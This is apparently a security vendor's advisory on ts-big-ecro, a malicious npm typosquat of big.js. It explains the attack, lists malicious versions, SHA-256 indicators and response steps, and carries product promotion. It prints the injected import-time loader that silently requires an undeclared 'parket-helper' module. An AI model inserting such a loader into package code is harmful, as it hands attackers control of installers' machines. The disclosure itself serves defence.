Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

ts-big-ecronpm

ts-big-ecro is a confirmed malicious npm package (MAL-2026-6199) that typosquats a legitimate package to trick installs (malicious versions 0.1.0, 3.8.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ts-big-ecro (npm)

MAL-2026-6199
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall ts-big-ecro

What this malware does

ts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The call fires unconditionally, swallows all errors to evade detection, and loads parket-helper — a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package's only declared dependency is server-parket@^3.8.1, which is similarly unrelated to the package's stated purpose (the real big.js has zero runtime dependencies). The combination — typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name — is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from parket-helper in their process.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
0.1.03.8.1

Indicators of compromise (SHA-256)

09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b
146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f
bf00c3e9ad30b350ad8389cd9540b02a460e3e714cb79327fcd02c7bd86b4a14

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-big-ecro (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-big-ecro across your stack and pipelines.

  2. If you installed it — respond

    ts-big-ecro is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-big-ecro, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If ts-big-ecro was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks ts-big-ecro before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ts-big-ecro on npm has been identified as a malicious package (versions 0.1.0, 3.8.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007062GHSA-3cg2-mrw5-67r6IN-MAL-2026-008906

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks ts-big-ecro-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

ts-big-ecro (npm) malicious package — MAL-2026-6199 | O3 Security